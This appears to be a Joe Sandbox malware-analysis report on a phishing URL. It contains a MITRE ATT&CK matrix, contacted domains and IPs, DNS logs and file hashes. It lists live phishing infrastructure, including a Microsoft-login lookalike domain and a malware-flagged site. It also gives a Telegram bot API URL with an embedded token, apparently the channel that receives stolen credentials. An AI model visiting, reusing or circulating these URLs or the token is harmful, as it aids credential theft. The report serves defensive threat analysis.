Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	12 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://tspice.nevendingwaer.shop/10s35o	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://neat.owa-wensglotii.top/cdn-cgi/challenge-platform/h/g/flow/ov1/1739920309:1743632078:pfnU86u9scmSBSucPTHJvNoIsWAyZZK--dDTMKDE_X0/92a40bda6d48440b/7vbMaJmbYFpS1XBvLF5lXbC3HhJoPWKl7XoLi6Za4ZA-1743635916-1.2.1.1-CfcYcWFGsWvL2kQ1yQqL3gQ_dqiI2deKgYCh_5mHST_5GhEM.BKbOHHlrIxNJ69c	0%	Avira URL Cloud	safe
https://netro.gitcombust.shop/styles.css	0%	Avira URL Cloud	safe
https://neat.owa-wensglotii.top/cdn-cgi/challenge-platform/scripts/jsd/main.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/pages/index-c362d579fbf7a668.js	0%	Avira URL Cloud	safe
https://netro.gitcombust.shop/cdn-cgi/challenge-platform/h/g/scripts/jsd/64912bd87b0e/main.js?	0%	Avira URL Cloud	safe
https://netro.gitcombust.shop/cdn-cgi/challenge-platform/scripts/jsd/main.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/fUhIl0Hqd1aZXohaxqY8t/_buildManifest.js	0%	Avira URL Cloud	safe
https://classntfst.shop/ne/	100%	Avira URL Cloud	malware
https://netro.gitcombust.shop	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/fUhIl0Hqd1aZXohaxqY8t/_ssgManifest.js	0%	Avira URL Cloud	safe
https://netro.gitcombust.shop/cdn-cgi/challenge-platform/h/g/jsd/r/0.3292434525870424:1743635421:7toW2C2B06kj9_L1hsFVkQV53rYAp6gtiaVQEyDO1_I/92a40b1abed1d826	0%	Avira URL Cloud	safe
https://neat.owa-wensglotii.top/cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=92a40bda6d48440b	0%	Avira URL Cloud	safe
https://netro.gitcombust.shop/favicon.ico	0%	Avira URL Cloud	safe
https://netro.gitcombust.shop/script.js	0%	Avira URL Cloud	safe
https://neat.owa-wensglotii.top/cdn-cgi/challenge-platform/h/g/scripts/jsd/64912bd87b0e/main.js?	0%	Avira URL Cloud	safe
https://neat.owa-wensglotii.top/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
e329293.dscd.akamaiedge.net	23.209.72.31	true	false	high
patnero.thesilent.de	216.24.57.1	true	false	high
classntfst.shop	172.67.154.53	true	false	high
s-part-0044.t-0009.t-msedge.net	13.107.246.72	true	false	high
www.gravatar.com	192.0.73.2	true	false	high
b-0004.b-msedge.net	13.107.6.156	true	false	high
a1894.dscb.akamai.net	23.44.133.184	true	false	high
clk-1038715867.us-west-2.elb.amazonaws.com	34.208.136.93	true	false	high
api64.ipify.org	104.237.62.213	true	false	high
d26p066pn2w0s0.cloudfront.net	108.138.106.32	true	false	high
tspice.nevendingwaer.shop	104.21.48.207	true	false	unknown
neat.owa-wensglotii.top	172.67.173.205	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
oka.greenthreads.hr	76.76.21.21	true	false	high
netro.gitcombust.shop	104.21.16.1	true	false	high
www.google.com	142.251.41.4	true	false	high
api.telegram.org	149.154.167.220	true	false	high
edge.railway.app	66.33.22.1	true	false	unknown
www.clkmg.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
rail-bot-production.up.railway.app	unknown	unknown	false	high
portal.microsoftonline.com	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
logo.clearbit.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://oka.greenthreads.hr/background.jpg	false		high
https://netro.gitcombust.shop/styles.css	false	Avira URL Cloud: safe	unknown
https://www.clkmg.com/redir.cgi?url=R%2bsdRIAkJagZShf8s3PO%2ffhP%2fk%2bF9X1SLJG7yO2j4ZW%2buVyVLHDAb6R%2bRCXcnUYLh4wbUOSwVvu%2bbkT5&pixel=0&lidc=1749876487	false		high
https://a.nel.cloudflare.com/report/v4?s=AOsDOT7V2n%2BVqE59ga7URH%2BJY%2BtRcjJ3XYAruEQCMy71escOYn0jjqQd%2BQVjamwXRJvQVx%2FZs9nRMbvFMYhqgwGhDFtt6xi8TA4p4Ftrp44uuLoVPZQO3lt9Es67NcUZcIkPrfLuuNI%3D	false		high
https://netro.gitcombust.shop/cdn-cgi/challenge-platform/scripts/jsd/main.js	false	Avira URL Cloud: safe	unknown
https://www.clkmg.com/favicon.ico	false		high
https://api64.ipify.org/?format=json	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=92a40be64eeb4207&lang=auto	false		high
https://patnero.thesilent.de/api/get_doc_url	false		high
https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js	false		high
https://neat.owa-wensglotii.top/?sso_reload=true	true		unknown
https://a.nel.cloudflare.com/report/v4?s=MGxL2MhfCvLRG8OYhlNJwZF88NcGn4B26cWV1ZOEr3pWuUnsHF2e3c%2BsbNWRlc3XXuC3soFxAM13kkGvurzLkSM0Qf87Vtud1P1k6wfdzpi1U%2FbsIRGnFxHgmaVKoNtZIk9UOhvawVIwNg%3D%3D	false		high
https://oka.greenthreads.hr/_next/static/chunks/pages/index-c362d579fbf7a668.js	true	Avira URL Cloud: safe	unknown
https://neat.owa-wensglotii.top/cdn-cgi/challenge-platform/scripts/jsd/main.js	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=3CFgSQ7wpHKfbcoGZLpsc0o8SUPudrvIk74xTL8GislQejX%2BN25iqNuvDJosmfunlP9XXrdLXBnwsv%2BW1oRCNrFll4LTv%2BR2HzyXwug8fksArE8HJBm3jGZ9E%2Bj2G1ty7NwDuq%2Bl2icI0A%3D%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1499769500:1743632029:P_0zixKJ-4WUWIOsROrdRoULs5217WwZlPx5541St-o/92a40be64eeb4207/7lRZd1PVRft_IHpOAglSXfce_428Cyn2p6eXzRxSYkw-1743635917-1.1.1.1-yURwJl34gRgDkuK0_GBWVZPs49HRkPyIH0pELBEfOlm4aR4LrRznAFnehPPcOCzP	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ala78/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/	false		high
https://oka.greenthreads.hr/_next/static/fUhIl0Hqd1aZXohaxqY8t/_buildManifest.js	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/92a40be64eeb4207/1743635919028/491c67d0fd8f95e78ee8c956c16c9501dfc69957720b9f60053e803b5d987dbc/2cIw66xc0mR73sr	false		high
https://oka.greenthreads.hr/favicon.ico	false		high
https://neat.owa-wensglotii.top/cdn-cgi/challenge-platform/h/g/flow/ov1/1739920309:1743632078:pfnU86u9scmSBSucPTHJvNoIsWAyZZK--dDTMKDE_X0/92a40bda6d48440b/7vbMaJmbYFpS1XBvLF5lXbC3HhJoPWKl7XoLi6Za4ZA-1743635916-1.2.1.1-CfcYcWFGsWvL2kQ1yQqL3gQ_dqiI2deKgYCh_5mHST_5GhEM.BKbOHHlrIxNJ69c	false	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css	false		high
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_9810YxmrLqOR1rQ4anyNMg2.js	false		high
https://netro.gitcombust.shop/cdn-cgi/challenge-platform/h/g/scripts/jsd/64912bd87b0e/main.js?	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7622174179:AAHCV1oWQuJrs_r4R6A1iMz0oaj3zWCQiPk/sendMessage	false		high
https://oka.greenthreads.hr/_next/static/fUhIl0Hqd1aZXohaxqY8t/_ssgManifest.js	true	Avira URL Cloud: safe	unknown
https://tspice.nevendingwaer.shop/10s35o	false		unknown
https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js	false		high
https://classntfst.shop/ne/	false	Avira URL Cloud: malware	unknown
https://logo.clearbit.com/dsgfsdgf.com	false		high
https://neat.owa-wensglotii.top/favicon.ico	false	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/	false		high
https://netro.gitcombust.shop/cdn-cgi/challenge-platform/h/g/jsd/r/0.3292434525870424:1743635421:7toW2C2B06kj9_L1hsFVkQV53rYAp6gtiaVQEyDO1_I/92a40b1abed1d826	false	Avira URL Cloud: safe	unknown
https://portal.microsoftonline.com/Prefetch/Prefetch.aspx	false		high
https://netro.gitcombust.shop/script.js	false	Avira URL Cloud: safe	unknown
https://rail-bot-production.up.railway.app/api/detect_bot	false		high
https://oka.greenthreads.hr/_next/static/chunks/webpack-ee7e63bc15b31913.js	false		high
https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/92a40be64eeb4207/1743635919027/n7q2tT8Qi4AIMPY	false		high
https://neat.owa-wensglotii.top/cdn-cgi/challenge-platform/h/g/scripts/jsd/64912bd87b0e/main.js?	false	Avira URL Cloud: safe	unknown
https://www.gravatar.com/avatar/1f5e73c9d92416b3425a61c6b031d856?d=identicon	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://neat.owa-wensglotii.top/	true		unknown
https://a.nel.cloudflare.com/report/v4?s=78v7gUnqEBi0C3x9woRsrZqVo0pHX8lablwAzw5Ca00CiitcBhKNt91zFGl0B2j2ForlJCKLIDpmiSa8xVPUrhuAcIe%2FqX458OsKzV1M6YbE%2FzsVBh9uJ0Eusevb5geXbXOHK07ivqY%3D	false		high
https://netro.gitcombust.shop/	false		unknown
https://netro.gitcombust.shop/favicon.ico	false	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js	false		high
https://www.clkmg.com/h4pussy/10s35o	false		high
https://neat.owa-wensglotii.top/cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=92a40bda6d48440b	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot	chromecache_120.1.dr	false		high
https://api64.ipify.org?format=json	chromecache_97.1.dr, chromecache_120.1.dr	false		high
https://netro.gitcombust.shop	chromecache_101.1.dr	false	Avira URL Cloud: safe	unknown
http://knockoutjs.com/	chromecache_126.1.dr	false		high
https://github.com/douglascrockford/JSON-js	chromecache_126.1.dr	false		high
https://feross.org	chromecache_99.1.dr	false		high
http://www.opensource.org/licenses/mit-license.php)	chromecache_126.1.dr	false		high
https://vercel.live/_next-live/feedback/feedback.js	chromecache_135.1.dr	false		high
https://www.gravatar.com/avatar/	chromecache_120.1.dr	false		high
https://logo.clearbit.com/	chromecache_120.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.6.156	b-0004.b-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.138.106.32	d26p066pn2w0s0.cloudfront.net	United States	16509	AMAZON-02US	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
216.24.57.1	patnero.thesilent.de	United States	397273	RENDERUS	false
66.33.22.1	edge.railway.app	Canada	13768	COGECO-PEER1CA	false
172.67.154.53	classntfst.shop	United States	13335	CLOUDFLARENETUS	false
34.208.136.93	clk-1038715867.us-west-2.elb.amazonaws.com	United States	16509	AMAZON-02US	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
172.67.173.205	neat.owa-wensglotii.top	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
23.209.72.31	e329293.dscd.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
173.231.16.77	unknown	United States	18450	WEBNXUS	false
76.76.21.21	oka.greenthreads.hr	United States	16509	AMAZON-02US	false
104.21.16.1	netro.gitcombust.shop	United States	13335	CLOUDFLARENETUS	false
104.21.48.207	tspice.nevendingwaer.shop	United States	13335	CLOUDFLARENETUS	false
104.21.32.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
192.0.73.2	www.gravatar.com	United States	2635	AUTOMATTICUS	false
104.237.62.213	api64.ipify.org	United States	18450	WEBNXUS	false
142.251.41.4	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1655139
Start date and time:	2025-04-03 01:17:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://tspice.nevendingwaer.shop/10s35o
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.phis.troj.win@32/91@66/21

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.65.174, 142.251.40.195, 142.250.80.110, 172.253.63.84, 142.250.80.78, 142.250.81.238, 142.251.32.110, 142.250.65.202, 142.251.40.106, 142.250.80.42, 142.251.40.138, 142.251.35.170, 142.251.40.170, 142.250.65.170, 142.250.80.74, 142.250.176.202, 142.250.64.106, 142.251.40.202, 142.251.40.234, 142.251.41.10, 172.217.165.138, 142.250.72.106, 142.250.80.106, 142.251.40.206, 142.251.40.174, 142.250.65.227, 142.251.35.174, 142.251.40.142, 142.250.65.163, 142.251.32.106, 142.250.81.234, 142.250.65.234, 142.250.64.74, 172.217.165.142, 142.251.40.110, 20.42.73.26, 52.149.20.212, 184.31.69.3, 20.190.152.22, 23.219.82.57, 13.107.246.72, 40.126.24.83, 13.107.246.40, 2.23.227.208, 204.79.197.222, 4.150.240.254, 13.107.140.254
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fp.msedge.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, arm-ring.msedge.net, aadcdnoriginwus2.azureedge.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, update.googleapis.com, onedscolprdeus09.eastus.cloudapp.azure.com, aadcdnoriginwus2.afd.azureedge.net, o-ring.msedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://tspice.nevendingwaer.shop/10s35o

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 1x1, 2 colors
Category:	downloaded
Size (bytes):	78
Entropy (8bit):	1.0661976009971772
Encrypted:	false
SSDEEP:	3:MazXll+lvlllVltln:Cl9nX
MD5:	C9E1EFA761B83F4A25A07DC85C207F95
SHA1:	7C1DF040D4119E1C1B4F875C362F363AD1F6BA13
SHA-256:	91634633CA6D34044C356A9A0BAA832F1927D8326E1AE1A95AF22B864D30DD7F
SHA-512:	D21A98B4A9362B4662163F28AB27F799CF2ABB04AE690431C15C806772837BE545CFACADA56DB5045CFA22EF4935D14AE0AC791974A095003156B0BF430E2857
Malicious:	false
Reputation:	low
URL:	https://www.clkmg.com/favicon.ico
Preview:	..............8.......(.......................................................

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 3, 2025 01:18:01.334832907 CEST	53	58339	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:01.352977037 CEST	53	63688	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:02.108468056 CEST	53	51843	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:02.185839891 CEST	55135	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:02.186105967 CEST	56518	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:02.239383936 CEST	53	50210	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:02.291697025 CEST	53	55135	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:02.294933081 CEST	53	56518	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:03.152780056 CEST	64512	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:03.152977943 CEST	55190	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:03.282196999 CEST	53	64512	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:03.283298969 CEST	53	55190	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:04.715078115 CEST	58677	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:04.715992928 CEST	52104	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:04.821471930 CEST	53	58677	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:04.834117889 CEST	53	52104	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:05.406559944 CEST	55922	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:05.406873941 CEST	63485	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:05.510782957 CEST	53	63485	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:05.514724016 CEST	53	55922	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:05.905551910 CEST	52121	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:05.905769110 CEST	64751	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:06.007904053 CEST	53	52121	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:06.007921934 CEST	53	64751	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:07.714741945 CEST	57454	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:07.714994907 CEST	54100	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:07.812493086 CEST	53	57454	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:07.812751055 CEST	53	54100	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:08.239006996 CEST	51535	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:08.239172935 CEST	63269	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:08.340400934 CEST	53	51535	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:08.350167036 CEST	53	63269	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:09.789380074 CEST	50396	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:09.789550066 CEST	62792	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:10.023932934 CEST	53	62792	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:10.133203030 CEST	53	50396	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:11.263833046 CEST	60936	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:11.264184952 CEST	50014	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:11.272922039 CEST	51482	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:11.273056030 CEST	53736	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:11.285900116 CEST	60392	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:11.286150932 CEST	52775	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:11.507870913 CEST	53	52775	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:11.510070086 CEST	53	53736	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:11.563390970 CEST	53	60392	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:11.579775095 CEST	53	51482	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:11.610477924 CEST	53	50014	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:11.658082008 CEST	53	60936	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:12.291996956 CEST	50697	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:12.292311907 CEST	54769	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:12.401021957 CEST	53	50697	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:12.401046038 CEST	53	54769	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:13.031748056 CEST	56967	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:13.031888008 CEST	55179	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:13.413454056 CEST	53	56967	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:13.526325941 CEST	53	55179	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:17.471633911 CEST	50956	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:17.471934080 CEST	50624	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:17.561470032 CEST	53	56941	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:17.751987934 CEST	53	50956	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:17.786487103 CEST	53	50624	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:19.184019089 CEST	53	51579	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:24.164361954 CEST	53	54281	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:26.532707930 CEST	50718	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:26.532917976 CEST	56240	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:26.533427000 CEST	57069	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:26.533632994 CEST	64288	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:26.632673979 CEST	53	57069	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:26.633685112 CEST	53	50718	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:26.633769035 CEST	53	64288	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:26.637027025 CEST	53	56240	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:27.055308104 CEST	57974	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:27.055448055 CEST	57561	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:27.154540062 CEST	53	57974	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:27.154895067 CEST	53	57561	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:30.975833893 CEST	50279	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:30.976022959 CEST	57468	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:31.079946041 CEST	53	57468	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:31.080024958 CEST	53	50279	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:31.708072901 CEST	49423	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:31.708205938 CEST	55238	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:31.708442926 CEST	51681	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:31.708574057 CEST	62718	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:31.805537939 CEST	53	51681	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:31.806056023 CEST	53	62718	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:31.809186935 CEST	53	55238	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:31.810204983 CEST	53	49423	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:33.023613930 CEST	64980	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:33.023740053 CEST	55556	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:33.024348021 CEST	60292	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:33.024462938 CEST	63543	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:33.120672941 CEST	53	64980	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:33.123106003 CEST	53	60292	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:33.125179052 CEST	53	63543	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:33.191653967 CEST	53	55556	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:35.251781940 CEST	50825	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:35.251924038 CEST	52347	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:35.252288103 CEST	58695	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:35.252399921 CEST	59235	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:35.351310015 CEST	53	58695	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:35.388197899 CEST	53	52347	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:35.389332056 CEST	53	50825	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:35.423958063 CEST	53	59235	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:36.723932028 CEST	64110	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:36.724235058 CEST	52739	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:36.823556900 CEST	53	64110	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:36.824350119 CEST	53	52739	1.1.1.1	192.168.2.16
Apr 3, 2025 01:18:37.277975082 CEST	51969	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:37.278179884 CEST	60272	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:37.318804026 CEST	59801	53	192.168.2.16	1.1.1.1
Apr 3, 2025 01:18:37.319003105 CEST	57570	53	192.168.2.16	1.1.1.1
